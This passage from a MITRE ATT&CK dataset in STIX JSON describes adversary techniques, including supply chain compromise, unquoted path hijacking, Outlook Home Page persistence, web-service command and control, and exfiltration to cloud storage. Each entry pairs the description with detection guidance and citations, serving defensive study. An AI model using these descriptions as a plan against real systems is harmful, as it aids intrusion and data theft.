Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","created":"2020-03-11T14:17:21.153Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1195.002","url":"https://attack.mitre.org/techniques/T1195/002"},{"source_name":"Avast CCleaner3 2018","url":"https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities","description":"Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018."},{"source_name":"Command Five SK 2011","url":"https://www.commandfive.com/papers/C5_APT_SKHack.pdf","description":"Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011)  ","modified":"2022-04-19T20:10:59.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Compromise Software Supply Chain","x_mitre_detection":"Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":[],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b","type":"attack-pattern","created":"2020-02-10T20:03:11.691Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1036.003","url":"https://attack.mitre.org/techniques/T1036/003"},{"source_name":"LOLBAS Main Site","url":"https://lolbas-project.github.io/","description":"LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020."},{"source_name":"Elastic Masquerade Ball","description":"Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.","url":"http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf"},{"source_name":"F-Secure CozyDuke","description":"F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.","url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf"},{"source_name":"Twitter ItsReallyNick Masquerading Update","url":"https://twitter.com/ItsReallyNick/status/1055321652777619457","description":"Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019."}],"modified":"2020-11-23T17:03:38.941Z","name":"Rename System Utilities","description":"Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename <code>rundll32.exe</code>). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Metadata","File: File Modification","Command: Command Execution","File: File Metadata"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","type":"attack-pattern","created":"2020-03-14T22:34:03.024Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1102.002","url":"https://attack.mitre.org/techniques/T1102/002"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-26T23:15:47.861Z","name":"Bidirectional Communication","description":"Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"1.4","external_references":[{"source_name":"mitre-attack","external_id":"T1203","url":"https://attack.mitre.org/techniques/T1203"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.","modified":"2022-04-18T18:48:06.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Exploitation for Client Execution","x_mitre_detection":"Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Process: Process Creation","Application Log: Application Log Content"],"x_mitre_system_requirements":["Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise."],"x_mitre_remote_support":false,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jan Petrov, Citi","Elvis Veliz, Citi","Richard Julian, Citi"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--bed04f7d-e48a-4e76-bd0f-4c57fe31fc46","created":"2022-03-04T18:56:38.844Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1595.003","url":"https://attack.mitre.org/techniques/T1595/003"},{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."},{"source_name":"GCPBucketBrute","url":"https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/","description":"Spencer Gietzen. (2019, February 26). Google Cloud Platform (GCP) Bucket Enumeration and Privilege Escalation. Retrieved March 4, 2022."},{"source_name":"S3Recon GitHub","url":"https://github.com/clarketm/s3recon","description":"Travis Clarke. (2020, March 21). S3Recon GitHub. Retrieved March 4, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).\n\nFor example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website’s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)).  \n\nAs cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage Object](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally. ","modified":"2022-04-15T19:10:23.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Wordlist Scanning","x_mitre_detection":"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Monitor for access to S3 buckets, especially those that are not intended to be publicly accessible. \n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Network Traffic: Network Traffic Content"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","Office 365"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--bf147104-abf9-4221-95d1-e81585859441","type":"attack-pattern","created":"2019-11-07T20:09:56.536Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1137.004","url":"https://attack.mitre.org/techniques/T1137/004"},{"source_name":"SensePost Outlook Home Page","url":"https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/","description":"Stalmans, E. (2017, October 11). Outlook Home Page – Another Ruler Vector. Retrieved February 4, 2019."},{"source_name":"Microsoft Detect Outlook Forms","url":"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack","description":"Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."},{"source_name":"SensePost NotRuler","url":"https://github.com/sensepost/notruler","description":"SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."}],"modified":"2021-08-16T21:30:01.743Z","name":"Outlook Home Page","description":"Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content","Command: Command Execution","Process: Process Creation"],"x_mitre_permissions_required":["Administrator","User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","type":"attack-pattern","created":"2020-03-16T15:48:33.882Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1573.002","url":"https://attack.mitre.org/techniques/T1573/002"},{"url":"http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840","description":"Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.","source_name":"SANS Decrypting SSL"},{"url":"https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html","description":"Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.","source_name":"SEI SSL Inspection Risks"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2021-04-20T19:27:46.484Z","name":"Asymmetric Cryptography","description":"Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","type":"attack-pattern","created":"2020-03-09T15:04:32.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1567.002","url":"https://attack.mitre.org/techniques/T1567/002"}],"modified":"2020-03-28T01:02:24.172Z","name":"Exfiltration to Cloud Storage","description":"Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.\n\nExamples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Access","Network Traffic: Network Traffic Flow","Command: Command Execution","Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","created":"2020-03-11T21:01:00.959Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1570","url":"https://attack.mitre.org/techniques/T1570"},{"source_name":"Unit42 LockerGoga 2019","url":"https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/","description":"Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)\n\nFiles can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095).","modified":"2022-04-19T15:34:49.016Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Lateral Tool Transfer","x_mitre_detection":"Monitor for file creation and files transferred within a network using protocols such as SMB or FTP. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Named Pipe: Named Pipe Metadata","Process: Process Creation","Network Share: Network Share Access","File: File Creation","Command: Command Execution","File: File Metadata","Network Traffic: Network Traffic Content"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b","type":"attack-pattern","created":"2020-03-13T13:51:58.519Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1574.009","url":"https://attack.mitre.org/techniques/T1574/009"},{"external_id":"CAPEC-38","source_name":"capec","url":"https://capec.mitre.org/data/definitions/38.html"},{"source_name":"Microsoft CurrentControlSet Services","url":"https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree","description":"Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020."},{"source_name":"Help eliminate unquoted path","url":"https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464","description":"Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012."},{"source_name":"Windows Unquoted Services","url":"https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/","description":"HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted Services. Retrieved August 10, 2018."},{"source_name":"Windows Privilege Escalation Guide","url":"https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/","description":"absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018."}],"modified":"2020-09-17T19:05:23.755Z","name":"Path Interception by Unquoted Path","description":"Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","File: File Modification","File: File Creation"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069","type":"attack-pattern","created":"2021-03-17T20:32:13.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1608.003","url":"https://attack.mitre.org/techniques/T1608/003"},{"source_name":"DigiCert Install SSL Cert","url":"https://www.digicert.com/kb/ssl-certificate-installation.htm","description":"DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021."},{"source_name":"Splunk Kovar Certificates 2017","url":"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html","description":"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."}],"modified":"2021-10-16T17:47:46.409Z","name":"Install Digital Certificate","description":"Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Anastasios Pingios"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1168","url":"https://attack.mitre.org/techniques/T1168"},{"url":"https://linux.die.net/man/5/crontab","description":"Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017.","source_name":"Die.net Linux crontab Man Page"},{"url":"https://linux.die.net/man/1/at","description":"Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017.","source_name":"Die.net Linux at Man 